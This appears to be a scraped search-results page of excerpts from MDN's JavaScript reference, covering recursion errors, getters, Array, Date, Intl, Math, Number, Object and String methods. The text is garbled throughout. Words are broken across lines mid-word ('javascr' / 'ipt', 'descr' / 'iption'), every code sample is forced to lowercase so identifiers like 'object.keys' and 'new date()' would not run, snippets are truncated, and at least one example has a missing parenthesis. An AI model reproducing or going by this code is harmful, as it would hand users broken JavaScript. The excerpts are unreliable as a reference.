Search completed in 2.04 seconds.
InternalError: too much recursion - JavaScript
the javascr
ipt exception "too much recursion" or "maximum call stack size exceeded" occurs when there are too many function calls, or a function is missing a base case.
...both execute the same code mult
iple times, and both require a condition (to avoid an infinite loop, or rather, infinite recursion in this case).
... when there are too many function calls, or a function is missing a base case, javascr
ipt will throw this error.
... // the base case is missing loop(x + 1); // recursive call } loop(0); // internalerror: too much recursion class error: too much recursion class person{ constructor(){} set name(name){ this.name = name; // recursive call } } const tony = new person(); tony.name = "tonisha"; // internalerror: too much recursion when a value is assigned to the property name (this.name = name;) javascr
ipt needs to set that property.
getter - JavaScript
expression starting with ecmascr
ipt 2015, you can also use expressions for a computed property name to bind to the given function.
... descr
iption sometimes it is desirable to allow access to a property that returns a dynamically computed value, or you may want to reflect the status of an internal variable without requiring the use of explicit method calls.
... in javascr
ipt, this can be accomplished with the use of a getter.
... class example { get hello() { return 'world'; } } const obj = new example(); console.log(obj.hello); // "world" console.log(object.getownpropertydescr
iptor(obj, 'hello')); // undefined console.log( object.getownpropertydescr
iptor( object.getprototypeof(obj), 'hello' ) ); // { configurable: true, enumerable: false, get: function get hello() { return 'world'; }, set: undefined } specifications specification ecmascr
ipt (ecma-262)the definition of 'method definitions' in that specification.
Rest parameters - JavaScript
} descr
iption a function's last parameter can be prefixed with ...
... which will cause all remaining (user supplied) arguments to be placed within a "standard" javascr
ipt array.
...each one of them is then mult
iplied by the first parameter, and the array is returned: function mult
iply(mult
iplier, ...theargs) { return theargs.map(element => { return mult
iplier * element }) } let arr = mult
iply(2, 1, 2, 3) console.log(arr) // [2, 4, 6] use with the arguments object array methods can be used on rest parameters, but not on the arguments object: function sortrestargs(...theargs) { let sortedar...
... function sortarguments() { let args = array.from(arguments) let sortedargs = args.sort() return sortedargs } console.log(sortarguments(5, 3, 7, 1)) // 1, 3, 5, 7 specifications specification ecmascr
ipt (ecma-262)the definition of 'function definitions' in that specification.
Array.prototype[@@unscopables] - JavaScript
the @@unscopable symbol property contains property names that were not included in the ecmascr
ipt standard prior to the es2015 version.
... descr
iption the default array properties that are excluded from with bindings are: copywithin() entries() fill() find() findindex() includes() keys() values() see symbol.unscopables for how to set unscopables for your own objects.
...however, in ecmascr
ipt 2015 and later, the array.prototype.keys() method was introduced.
... var keys = []; with (array.prototype) { keys.push('something'); } object.keys(array.prototype[symbol.unscopables]); // ["copywithin", "entries", "fill", "find", "findindex", // "includes", "keys", "values"] specifications specification ecmascr
ipt (ecma-262)the definition of 'array.prototype[@@unscopables]' in that specification.
Array.prototype.filter() - JavaScript
descr
iption filter() calls a provided callback function once for each element in an array, and constructs a new array of all the values for which callback returns a value that coerces to true.
...array elements which do not pass the callback test are simply sk
ipped, and are not included in the new array.
... you can work around this by inserting the following code at the beginning of your scr
ipts, allowing use of filter() in ecma-262 implementations which do not natively support it.
... deleting words words = ['spray', 'limit', 'exuberant', 'destruction', 'elite', 'present'] const deletewords = words.filter( (word, index, arr) => { arr.pop() return word.length < 6 }) console.log(deletewords) // notice 'elite' is not even obtained as its been popped off `words` before filter can even get there // ["spray" ,"limit"] specifications specification ecmascr
ipt (ecma-262)the definition of 'array.prototype.filter' in that specification.
Array.prototype.lastIndexOf() - JavaScript
descr
iption lastindexof compares searchelement to elements of the array using strict equality (the same method used by the ===, or tr
iple-equals, operator).
...you can work around this by inserting the following code at the beginning of your scr
ipts, allowing use of lastindexof in implementations which do not natively support it.
...math.min(n, len - 1) : len - math.abs(n); k >= 0; k--) { if (k in t && t[k] === searchelement) { return k; } } return -1; }; } again, note that this implementation aims for absolute compatibility with lastindexof in firefox and the spidermonkey javascr
ipt engine, including in several cases which are arguably edge cases.
... specifications specification ecmascr
ipt (ecma-262)the definition of 'array.prototype.lastindexof' in that specification.
Array.prototype.push() - JavaScript
descr
iption the push method appends values to an array.
... let vegetables = ['parsn
ip', 'potato'] let morevegs = ['celery', 'beetroot'] // merge the second array into the first one // equivalent to vegetables.push('celery', 'beetroot') array.prototype.push.apply(vegetables, morevegs) console.log(vegetables) // ['parsn
ip', 'potato', 'celery', 'beetroot'] using an object in an array-like fashion as mentioned above, push is intentionally generic, and we can use that to our adva...
...instead, we store the collection on the object itself and use call on array.prototype.push to trick the method into thinking we are dealing with an array—and it just works, thanks to the way javascr
ipt allows us to establish the execution context in any way we want.
... specifications specification ecmascr
ipt (ecma-262)the definition of 'array.prototype.push' in that specification.
Array.prototype.sort() - JavaScript
descr
iption if comparefunction is not supplied, all non-undefined array elements are sorted by converting them to strings and comparing strings in utf-16 code units order.
...note: the ecmascr
ipt standard does not guarantee this behavior, thus, not all browsers (e.g.
... var items = ['réservé', 'premier', 'communiqué', 'café', 'adieu', 'éclair']; items.sort(function (a, b) { return a.localecompare(b); }); // items is ['adieu', 'café', 'communiqué', 'éclair', 'premier', 'réservé'] sorting with map the comparefunction can be invoked mult
iple times per element within the array.
... specifications specification ecmascr
ipt (ecma-262)the definition of 'array.prototype.sort' in that specification.
Array.prototype.toString() - JavaScript
descr
iption the array object overrides the tostring method of object.
... javascr
ipt calls the tostring method automatically when an array is to be represented as a text value or when an array is referred to in a string concatenation.
... ecmascr
ipt 5 semantics starting in javascr
ipt 1.8.5 (firefox 4), and consistent with ecmascr
ipt 5th edition semantics, the tostring() method is generic and can be used with any object.
... examples using tostring const array1 = [1, 2, 'a', '1a']; console.log(array1.tostring()); // expected output: "1,2,a,1a" specifications specification ecmascr
ipt (ecma-262)the definition of 'array.prototype.tostring' in that specification.
Date.prototype[@@toPrimitive] - JavaScript
descr
iption the [@@toprimitive]() method of the date object returns a primitive value, that is either of type number or of type string.
... javascr
ipt calls the [@@toprimitive]() method to convert an object to a primitive value.
... you rarely need to invoke the [@@toprimitive]() method yourself; javascr
ipt automatically invokes it when encountering an object where a primitive value is expected.
...020 14:05:17 gmt+0100 (british summer time)" testdate[symbol.toprimitive]('string'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" testdate[symbol.toprimitive]('number'); // returns "1590757517834" testdate[symbol.toprimitive]('default'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" specifications specification ecmascr
ipt (ecma-262)the definition of 'date.prototype.@@toprimitive' in that specification.
Date() constructor - JavaScript
creates a javascr
ipt date instance that represents a single moment in time in a platform-independent format.
... time value or timestamp number value an integer value representing the number of milliseconds since january 1, 1970, 00:00:00 utc (the ecmascr
ipt epoch, equivalent to the unix epoch), with leap seconds ignored.
... examples several ways to create a date object the following examples show several ways to create javascr
ipt dates: note: parsing of date strings with the date constructor (and date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies.
... let today = new date() let birthday = new date('december 17, 1995 03:24:00') let birthday = new date('1995-12-17t03:24:00') let birthday = new date(1995, 11, 17) // the month is 0-indexed let birthday = new date(1995, 11, 17, 3, 24, 0) specifications specification ecmascr
ipt (ecma-262)the definition of 'date' in that specification.
Date.UTC() - JavaScript
syntax since ecmascr
ipt 2017: date.utc(year[, month[, day[, hour[, minute[, second[, millisecond]]]]]]) ecmascr
ipt 2016 and earlier: (month used to be required) date.utc(year, month[, day[, hour[, minute[, second[, millisecond]]]]]) parameters year a full year.
...(up through ecmascr
ipt 2016, month was a required parameter.
... descr
iption utc() takes comma-delimited date and time parameters and returns the number of milliseconds between january 1, 1970, 00:00:00, universal time and the specified date and time.
... examples using date.utc() the following statement creates a date object with the arguments treated as utc instead of local: let utcdate = new date(date.utc(2018, 11, 1, 0, 0, 0)); specifications specification ecmascr
ipt (ecma-262)the definition of 'date.utc' in that specification.
Date.prototype.toString() - JavaScript
descr
iption date instances inherit their tostring() method from date.prototype, not object.prototype.
..."sat sep 01 2018 14:53:26 gmt+1400 (lint)" until ecmascr
ipt 2018 (edition 9), the format of the string returned by date.prototype.tostring was implementation dependent.
...however, it must have an internal [[timevalue]] property that can't be constructed using native javascr
ipt, so it's effectively limited to use with date instances.
... examples using tostring() the following assigns the tostring() value of a date object to myvar: var x = new date(); var myvar = x.tostring(); // assigns a string value to myvar in the same format as: // mon sep 08 1998 14:36:22 gmt-0700 (pdt) specifications specification ecmascr
ipt (ecma-262)the definition of 'date.prototype.tostring' in that specification.
EvalError() constructor - JavaScript
this exception is not thrown by javascr
ipt anymore, however the evalerror object remains for compatibility.
...human-readable descr
iption of the error filename optional.
...the line number of the code that caused the exception examples evalerror is not used in the current ecmascr
ipt specification and will thus not be thrown by the runtime.
...tanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratchpad/2:2:9\n" } specifications specification ecmascr
ipt (ecma-262)the definition of 'nativeerror constructor' in that specification.
Function.prototype.toString() - JavaScript
descr
iption the function object overrides the tostring method inherited from object; it does not inherit object.prototype.tostring.
... javascr
ipt calls the tostring method automatically when a function is to be represented as a text value, e.g.
..." class a { a(){} } "class a { a(){} }" function* g(){} "function* g(){}" a => a "a => a" ({ a(){} }.a) "a(){}" ({ *a(){} }.a) "*a(){}" ({ [0](){} }[0]) "[0](){}" object.getownpropertydescr
iptor({ get a(){} }, "a").get "get a(){}" object.getownpropertydescr
iptor({ set a(x){} }, "a").set "set a(x){}" function.prototype.tostring "function tostring() { [native code] }" (function f(){}.bind(0)) "function () { [native code] }" function("a", "b") ...
... "function anonymous(a\n) {\nb\n}" specifications specification ecmascr
ipt (ecma-262)the definition of 'function.prototype.tostring' in that specification.
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
descr
iption the formattoparts() method is useful for custom formatting of date strings.
... examples datetimeformat outputs localized, opaque strings that cannot be man
ipulated directly: var date = date.utc(2012, 11, 17, 3, 0, 42); var formatter = new intl.datetimeformat('en-us', { weekday: 'long', year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric', second: 'numeric', fractionalseconddigits: 3, hour12: true, timezone: 'utc' }); formatter.format(date); // "monday, 12/17/2012, 3:00:42.000 am" however, in ma...
... these years are disambiguated by relationsh
ip to corresponding years on the gregorian calendar.
...eric', year: "numeric"}; let df = new intl.datetimeformat("en-u-ca-chinese", opts); let date = date.utc(2012, 11, 17, 3); df.formattoparts(date) // return value [ { type: 'month', value: '11' }, { type: 'literal', value: '/' }, { type: 'day', value: '4' }, { type: 'literal', value: '/' }, { type: 'relatedyear', value: '2012' } ] specifications specification ecmascr
ipt internationalization api (ecma-402)the definition of 'intl.datetimeformat.prototype.formattoparts' in that specification.
Intl.DisplayNames - JavaScript
the intl.displaynames object is a constructor for objects that enables the consistent translation of language, region and scr
ipt display names.
...ditional chinese regionnames = new intl.displaynames(['zh-hant'], {type: 'region'}); regionnames.of('419'; // "拉丁美洲" regionnames.of('bz'); // "貝里斯" regionnames.of('us'); // "美國" regionnames.of('ba'); // "波士尼亞與赫塞哥維納" regionnames.of('mm'); // "緬甸" language display names to create an intl.displaynames for a locale and get the display name for a language-scr
ipt-region sequence.
..." languagenames.of('zh-hant'); // "traditional chinese" languagenames.of('en-us'); // "american english" languagenames.of('zh-tw'); // "chinese (taiwan)"] // get display names of language in traditional chinese languagenames = new intl.displaynames(['zh-hant'], {type: 'language'}); languagenames.of('fr'); // "法文" languagenames.of('zh'); // "中文" languagenames.of('de'); // "德文" scr
ipt code display names to create an intl.displaynames for a locale and get the display name for a scr
ipt code.
... // get display names of scr
ipt in english let scr
iptnames = new intl.displaynames(['en'], {type: 'scr
ipt'}); // get scr
ipt names scr
iptnames.of('latn'); // "latin" scr
iptnames.of('arab'); // "arabic" scr
iptnames.of('kana'); // "katakana" // get display names of scr
ipt in traditional chinese scr
iptnames = new intl.displaynames(['zh-hant'], {type: 'scr
ipt'}); scr
iptnames.of('latn'); // "拉丁文" scr
iptnames.of('arab'); // "阿拉伯文" scr
iptnames.of('kana'); // "片假名" currency code display names to create an intl.displaynames for a locale and get the display name for currency code.
Intl.Locale.prototype.baseName - JavaScript
descr
iption an intl.locale object represents a parsed local and options for that locale.
...specifically, the property returns the substring containing the language, and the scr
ipt and region if available.
... basename returns the language ["-" scr
ipt] ["-" region] *("-" variant) subsequence of the unicode_language_id grammar.
...asename); // prints out "ja-jp" example with options that override input string // input string indicates language as dutch and region as belgium, // but options object overrides the region and sets it to the netherlands let dutch = new intl.locale("nl-latn-be", {region: "nl"}); console.log(dutch.basename); // prints out "nl-latn-nl" specifications specification ecmascr
ipt internationalization api (ecma-402) ...
Intl.Locale.prototype.calendar - JavaScript
descr
iption the calendar property returns the part of the locale that indicates the locale's calendar era.
...the following table shows all the valid unicode calendar key strings, along with a descr
iption of the calendar era they represent.
... unicode calendar keys unicode calendar keys calendar key (name) descr
iption buddhist thai buddhist calendar chinese traditional chinese calendar coptic coptic calendar dangi traditional korean calendar ethioaa ethiopic calendar, amete alem (epoch approx.
... let frbuddhist = new intl.locale("fr-fr", {calendar: "buddhist"}); console.log(frbuddhist.calendar); // prints "buddhist" specifications specification ecmascr
ipt internationalization api (ecma-402) ...
Intl.Locale.prototype.collation - JavaScript
descr
iption collation is the process of ordering strings of characters.
...the collation property helps to make it easier for javascr
ipt programmers to access the collation type used by a particular locale.
... valid collation types collation type descr
iption big5han pinyin ordering for latin, big5 charset ordering for cjk characters (used in chinese) compat a previous version of the ordering, for compatibility dict dictionary style ordering (such as in sinhala) the direct collation type has been deprected.
... let configcoll = new intl.locale("en-latn-us", {collation: "emoji"}); console.log(configcoll.collation); // prints "emoji" specifications specification ecmascr
ipt internationalization api (ecma-402) ...
Intl.Locale.prototype.hourCycle - JavaScript
descr
iption there are 2 main types of time keeping conventions (clocks) used around the world: the 12 hour clock and the 24 hour clock.
... the hourcycle property makes it easier for javascr
ipt programmers to access the clock type used by a particular locale.
... valid hour cycle types hour cycle type descr
iption h12 hour system using 1–12; corresponds to 'h' in patterns.
... let us12hour = new intl.locale("en-us", {hourcycle: "h12"}); console.log(us12hour.hourcycle); // prints "h12" specifications specification ecmascr
ipt internationalization api (ecma-402) ...
Intl.Locale.prototype.toString() - JavaScript
descr
iption the locale object is a javascr
ipt representation of a concept unicode locale identifier.
... information about a particular locale (language, scr
ipt, calendar type, etc.) can be encoded in a locale identifier string.
... to make it easier to work with these locale identifiers, the locale object was introduced to javascr
ipt.
... examples using tostring let mylocale = new intl.locale("fr-latn-fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr-latn-fr" console.log(mylocale.tostring()); // prints "fr-latn-fr-u-ca-gregory-hc-h24" specifications specification ecmascr
ipt internationalization api (ecma-402) ...
Math.clz32() - JavaScript
descr
iption "clz32" is short for countleadingzeroes32.
... this function is particularly useful for systems that compile to js, like emscr
ipten.
...now, inversing the bits reveals the lowest bits return 32 - clz(~integer) |0; // `|0` ensures integer coercion } function ctron(integer){ // count trailing ones // no shift-filling-in-with-ones operator is available in // javascr
ipt, so the below code is the fastest return ctrz(~integer); /* alternate implementation for demonstrational purposes: // 1.
....log, math.ln2); examples using math.clz32() math.clz32(1); // 31 math.clz32(1000); // 22 math.clz32(); // 32 var stuff = [nan, infinity, -infinity, 0, -0, false, null, undefined, 'foo', {}, []]; stuff.every(n => math.clz32(n) == 32); // true math.clz32(true); // 31 math.clz32(3.5); // 30 specifications specification ecmascr
ipt (ecma-262)the definition of 'math.clz32' in that specification.
Math.min() - JavaScript
descr
iption because min() is a static method of math, you always use it as math.min(), rather than as a method of a math object you created (math is not a constructor).
... examples using math.min() this finds the min of x and y and assigns it to z: var x = 10, y = -20; var z = math.min(x, y); cl
ipping a value with math.min() math.min() is often used to cl
ip a value so that it is always less than or equal to a boundary.
... for instance, this var x = f(foo); if (x > boundary) { x = boundary; } may be written as this var x = math.min(f(foo), boundary); math.max() can be used in a similar way to cl
ip a value at the other end.
... specifications specification ecmascr
ipt (ecma-262)the definition of 'math.min' in that specification.
Number.MAX_SAFE_INTEGER - JavaScript
the number.max_safe_integer constant represents the maximum safe integer in javascr
ipt (253 - 1).
... property attributes of number.max_safe_integer writable no enumerable no configurable no descr
iption the max_safe_integer constant has a value of 9007199254740991 (9,007,199,254,740,991 or ~9 quadrillion).
... the reasoning behind that number is that javascr
ipt uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253 - 1) and 253 - 1.
... number.max_safe_integer * number.epsilon; // 2 specifications specification ecmascr
ipt (ecma-262)the definition of 'number.max_safe_integer' in that specification.
Number.MAX_VALUE - JavaScript
the number.max_value property represents the maximum numeric value representable in javascr
ipt.
... property attributes of number.max_value writable no enumerable no configurable no descr
iption the max_value property has a value of approximately 1.79e+308, or 21024.
... examples using max_value the following code mult
iplies two numeric values.
... if (num1 * num2 <= number.max_value) { func1(); } else { func2(); } specifications specification ecmascr
ipt (ecma-262)the definition of 'number.max_value' in that specification.
Number.MIN_SAFE_INTEGER - JavaScript
the number.min_safe_integer constant represents the minimum safe integer in javascr
ipt (-(253 - 1)).
... property attributes of number.min_safe_integer writable no enumerable no configurable no descr
iption the min_safe_integer constant has a value of -9007199254740991 (-9,007,199,254,740,991 or about -9 quadrillion).
... the reasoning behind that number is that javascr
ipt uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253 - 1) and 253 - 1.
... examples using min_safe_integer number.min_safe_integer // -9007199254740991 -(math.pow(2, 53) - 1) // -9007199254740991 specifications specification ecmascr
ipt (ecma-262)the definition of 'number.min_safe_integer' in that specification.
Number.isNaN() - JavaScript
descr
iption due to both equality operators, == and ===, evaluating to false when checking if nan is nan, the function number.isnan() has become necessary.
... this situation is unlike all other possible value comparisons in javascr
ipt.
... polyfill the following works because nan is the only value in javascr
ipt which is not equal to itself.
...e been true with global isnan() number.isnan('nan'); // false number.isnan(undefined); // false number.isnan({}); // false number.isnan('blabla'); // false // these all return false number.isnan(true); number.isnan(null); number.isnan(37); number.isnan('37'); number.isnan('37.37'); number.isnan(''); number.isnan(' '); specifications specification ecmascr
ipt (ecma-262)the definition of 'number.isnan' in that specification.
Object.prototype.__lookupGetter__() - JavaScript
descr
iption if a getter has been defined for an object's property, it's not possible to reference the getter function through that property, because that property refers to the return value of that function.
... it is now possible to do this in a standardized way using object.getownpropertydescr
iptor() and object.getprototypeof().
...'foo' : 'bar'; }) // standard-compliant way object.getownpropertydescr
iptor(obj, "foo").get; // (function() { return math.random() > 0.5 ?
... 'foo' : 'bar'; }) specifications specification ecmascr
ipt (ecma-262)the definition of 'object.prototype.__lookupgetter__()' in that specification.
Object.assign() - JavaScript
descr
iption properties in the target object are overwritten by properties in the sources if they have the same key.
... for copying property definitions (including their enumerability) into prototypes, use object.getownpropertydescr
iptor() and object.defineproperty() instead.
... // this is an assign function that copies full descr
iptors function completeassign(target, ...sources) { sources.foreach(source => { let descr
iptors = object.keys(source).reduce((descr
iptors, key) => { descr
iptors[key] = object.getownpropertydescr
iptor(source, key); return descr
iptors; }, {}); // by default, object.assign copies enumerable symbols, too object.getownpropertysymbols(source).foreach(sym => { let desc...
...r
iptor = object.getownpropertydescr
iptor(source, sym); if (descr
iptor.enumerable) { descr
iptors[sym] = descr
iptor; } }); object.defineproperties(target, descr
iptors); }); return target; } copy = completeassign({}, obj); console.log(copy); // { foo:1, get bar() { return 2 } } specifications specification ecmascr
ipt (ecma-262)the definition of 'object.assign' in that specification.
Object.keys() - JavaScript
descr
iption object.keys() returns an array whose elements are strings corresponding to the enumerable properties found directly upon object.
... polyfill to add compatible object.keys support in older environments that do not natively support it, copy the following sn
ippet: // from /docs/web/javascr
ipt/reference/global_objects/object/keys if (!object.keys) { object.keys = (function() { 'use strict'; var hasownproperty = object.prototype.hasownproperty, hasdontenumbug = !({ tostring: null }).propertyisenumerable('tostring'), dontenums = [ 'tostring', 'tolocalestring', 'valueof', 'hasownproperty', 'isprototypeof', 'propertyisenumerable', 'constructor' ], dontenumslength = dontenums.length; return function(o...
... for a simple browser polyfill, see javascr
ipt - object.keys browser compatibility.
... // in es5 object.keys('foo'); // typeerror: "foo" is not an object // in es2015+ object.keys('foo'); // ["0", "1", "2"] specifications specification ecmascr
ipt (ecma-262)the definition of 'object.keys' in that specification.
Object.setPrototypeOf() - JavaScript
warning: changing the [[prototype]] of an object is, by the nature of how modern javascr
ipt engines optimize property accesses, currently a very slow operation in every browser and javascr
ipt engine.
... descr
iption throws a typeerror exception if the object whose [[prototype]] is to be modified is non-extensible according to object.isextensible().
... object.setprototypeof() is in the ecmascr
ipt 2015 specification.
...in obj) { object.defineproperty(this, key, { value: obj[key], }); } }; fn.prototype = proto; return new fn(); } } } examples using object.setprototypeof var dict = object.setprototypeof({}, null); specifications specification ecmascr
ipt (ecma-262)the definition of 'object.setprototypeof' in that specification.
RegExp.prototype.compile() - JavaScript
the deprecated compile() method is used to (re-)compile a regular expression during execution of a scr
ipt.
... flags if specified, flags can have any combination of the following values: g global match i ignore case m multiline; treat beginning and end characters (^ and $) as working over mult
iple lines (i.e., match the beginning or end of each line (delimited by \n or \r), not only the very beginning or end of the whole input string) y sticky; matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes).
... descr
iption the compile method is deprecated.
... var regexobj = new regexp('foo', 'gi'); regexobj.compile('new foo', 'g'); specifications specification ecmascr
ipt (ecma-262)the definition of 'regexp.prototype.compile' in that specification.
Set - JavaScript
descr
iption set objects are collections of values.
...in an earlier version of ecmascr
ipt specification, this was not based on the same algorithm as the one used in the === operator.
...however, this was changed in the ecmascr
ipt 2015 specification.
....new set(numbers)]) // [2, 3, 4, 5, 6, 7, 32] relation with strings let text = 'india' let myset = new set(text) // set ['i', 'n', 'd', 'i', 'a'] myset.size // 5 //case sensitive & duplicate ommision new set("firefox") // set(7) [ "f", "i", "r", "e", "f", "o", "x" ] new set("firefox") // set(6) [ "f", "i", "r", "e", "o", "x" ] specifications specification ecmascr
ipt (ecma-262)the definition of 'set' in that specification.
String.prototype.charAt() - JavaScript
descr
iption characters in a string are indexed from left to right.
...if the index you supply is out of this range, javascr
ipt returns an empty string.
...surrogate'; } var prev = str.charcodeat(i - 1); // (could change last hex to 0xdb7f to treat high private // surrogates as single characters) if (0xd800 > prev || prev > 0xdbff) { throw 'low surrogate without preceding high surrogate'; } // we can pass over low surrogates now as the second component // in a pair which we have already processed return false; } in an ecmascr
ipt 2016 environment which allows destructured assignment, the following is a more succinct and somewhat more flexible alternative in that it does increment for an incrementing variable automatically (if the character warrants it in being a surrogate pair).
... idx++ } else { break } } if (idx >= end || idx < 0) { return '' } ret += str.charat(idx) if (/[\ud800-\udbff]/.test(ret) && /[\udc00-\udfff]/.test(str.charat(idx + 1))) { // go one further, since one of the "characters" is part of a surrogate pair ret += str.charat(idx + 1) } return ret } specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.charat' in that specification.
String.prototype.codePointAt() - JavaScript
descr
iption if there is no element at the specified position, undefined is returned.
... polyfill the following extends strings to include the codepointat() function as specified in ecmascr
ipt 2015 for browsers without native support.
... string.charcodeat(index); var second; if ( // check if it’s the start of a surrogate pair first >= 0xd800 && first <= 0xdbff && // high surrogate size > index + 1 // there is a next code unit ) { second = string.charcodeat(index + 1); if (second >= 0xdc00 && second <= 0xdfff) { // low surrogate // https://mathiasbynens.be/notes/javascr
ipt-encoding#surrogate-formulae return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000; } } return first; }; if (defineproperty) { defineproperty(string.prototype, 'codepointat', { 'value': codepointat, 'configurable': true, 'writable': true }); } else { string.prototype.codepointat = codepointat; } }()); ...
...} examples using codepointat() 'abc'.codepointat(1) // 66 '\ud800\udc00'.codepointat(0) // 65536 'xyz'.codepointat(42) // undefined looping with codepointat() for (let codepoint of '\ud83d\udc0e\ud83d\udc71\u2764') { console.log(codepoint.codepointat(0).tostring(16)) } // '1f40e', '1f471', '2764' specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.codepointat' in that specification.
String.prototype.fontcolor() - JavaScript
syntax str.fontcolor(color) parameters color a string expressing the color as a hexadecimal rgb tr
iplet or as a string literal.
... descr
iption if you express color as a hexadecimal rgb tr
iplet, you must use the format rrggbb.
... for example, the hexadecimal rgb values for salmon are red=fa, green=80, and blue=72, so the rgb tr
iplet for salmon is "fa8072".
...ing = 'hello, world'; console.log(worldstring.fontcolor('red') + ' is red in this line'); // '<font color="red">hello, world</font> is red in this line' console.log(worldstring.fontcolor('ff00') + ' is red in hexadecimal in this line'); // '<font color="ff00">hello, world</font> is red in hexadecimal in this line' with the element.style object you can get the element's style attribute and man
ipulate it more generically, for example: document.getelementbyid('yourelemid').style.color = 'red'; specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.fontcolor' in that specification.
String.fromCodePoint() - JavaScript
descr
iption this method returns a string (and not a string object).
... polyfill the string.fromcodepoint() method has been added to ecmascr
ipt 2015 and may not be supported in all web browsers or environments yet.
...= codepoint clause handles decimals and negatives if (!(codepoint < 0x10ffff && (codepoint>>>0) === codepoint)) throw rangeerror("invalid code point: " + codepoint); if (codepoint <= 0xffff) { // bmp code point codelen = codeunits.push(codepoint); } else { // astral code point; split in surrogate halves // https://mathiasbynens.be/notes/javascr
ipt-encoding#surrogate-formulae codepoint -= 0x10000; codelen = codeunits.push( (codepoint >> 10) + 0xd800, // highsurrogate (codepoint % 0x400) + 0xdc00 // lowsurrogate ); } if (codelen >= 0x3fff) { result += stringfromcharcode.apply(null, codeunits); codeunits.length = 0; } } return resul...
...string.fromcharcode(55356, 57091); // stars" == "\ud83c\udf03" string.fromcodepoint(), on the other hand, can return 4-byte supplementary characters, as well as the more common 2-byte bmp characters, by specifying their code point (which is equivalent to the utf-32 code unit): string.fromcodepoint(0x1f303); // or 127747 in decimal specifications specification ecmascr
ipt (ecma-262)the definition of 'string.fromcodepoint' in that specification.
String length - JavaScript
descr
iption this property returns the number of code units in the string.
... utf-16, the string format used by javascr
ipt, uses a single 16-bit code unit to represent the most common characters, but needs to use two code units for less commonly-used characters, so it's possible for the value returned by length to not match the actual number of characters in the string.
... ecmascr
ipt 2016 (ed.
...mystring.length = 4; console.log(mystring); // expected output: "bluebells" console.log(mystring.length); // expected output: 9 specifications specification ecmascr
ipt (ecma-262) ...
String.prototype.normalize() - JavaScript
descr
iption unicode assigns a unique numerical value, called a code point, to each character.
...that's because "nfd" gives you the decomposed version of the canonical form, in which single code points are split into mult
iple combining ones.
... you can specify "nfc" to get the composed canonical form, in which mult
iple code points are replaced with single code points where possible.
...e('nfd'); // '\u017f\u0323\u0307' // compatibly-composed (nfkc) // u+1e69: latin small letter s with dot below and dot above str.normalize('nfkc'); // '\u1e69' // compatibly-decomposed (nfkd) // u+0073: latin small letter s // u+0323: combining dot below // u+0307: combining dot above str.normalize('nfkd'); // '\u0073\u0323\u0307' specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.normalize' in that specification.
String.prototype.startsWith() - JavaScript
descr
iption this method lets you determine whether or not a string begins with another string.
... polyfill this method has been added to the ecmascr
ipt 2015 specification and may not be available in all javascr
ipt implementations yet.
... however, you can polyfill string.prototype.startswith() with the following sn
ippet: if (!string.prototype.startswith) { object.defineproperty(string.prototype, 'startswith', { value: function(search, rawpos) { var pos = rawpos > 0 ?
... examples using startswith() //startswith let str = 'to be, or not to be, that is the question.' console.log(str.startswith('to be')) // true console.log(str.startswith('not to be')) // false console.log(str.startswith('not to be', 10)) // true specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.startswith' in that specification.
String.prototype.sub() - JavaScript
the sub() method creates a <sub> html element that causes a string to be displayed as subscr
ipt.
... descr
iption the sub() method embeds a string in a <sub> tag: "<sub>str</sub>".
... examples using sub() and sup() methods the following example uses the sub() and sup() methods to format a string: var supertext = 'superscr
ipt'; var subtext = 'subscr
ipt'; console.log('this is what a ' + supertext.sup() + ' looks like.'); // this is what a <sup>superscr
ipt</sup> looks like console.log('this is what a ' + subtext.sub() + ' looks like.'); // this is what a <sub>subscr
ipt</sub> looks like.
... specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.sub' in that specification.
String.prototype.toLocaleLowerCase() - JavaScript
if mult
iple locales are given in an array, the best available locale is used.
... descr
iption the tolocalelowercase() method returns the value of the string converted to lower case according to any locale-specific case mappings.
... examples using tolocalelowercase() 'alphabet'.tolocalelowercase(); // 'alphabet' '\u0130'.tolocalelowercase('tr') === 'i'; // true '\u0130'.tolocalelowercase('en-us') === 'i'; // false let locales = ['tr', 'tr', 'tr-tr', 'tr-u-co-search', 'tr-x-turkish']; '\u0130'.tolocalelowercase(locales) === 'i'; // true specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.tolocalelowercase' in that specification.
... ecmascr
ipt internationalization api (ecma-402)the definition of 'string.prototype.tolocalelowercase' in that specification.
String.prototype.toLocaleUpperCase() - JavaScript
if mult
iple locales are given in an array, the best available locale is used.
... descr
iption the tolocaleuppercase() method returns the value of the string converted to upper case according to any locale-specific case mappings.
...se() === x.tolocaleuppercase().tolocalelowercase() examples using tolocaleuppercase() 'alphabet'.tolocaleuppercase(); // 'alphabet' 'gesäß'.tolocaleuppercase(); // 'gesÄss' 'i\u0307'.tolocaleuppercase('lt-lt'); // 'i' let locales = ['lt', 'lt', 'lt-lt', 'lt-u-co-phonebk', 'lt-x-lietuva']; 'i\u0307'.tolocaleuppercase(locales); // 'i' specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.tolocaleuppercase' in that specification.
... ecmascr
ipt internationalization api (ecma-402)the definition of 'string.prototype.tolocaleuppercase' in that specification.
Symbol.prototype[@@toPrimitive] - JavaScript
descr
iption the [@@toprimitive]() method of symbol returns the primitive value of a symbol object as a symbol data type.
... javascr
ipt calls the [@@toprimitive]() method to convert an object to a primitive value.
... you rarely need to invoke the [@@toprimitive]() method yourself; javascr
ipt automatically invokes it when encountering an object where a primitive value is expected.
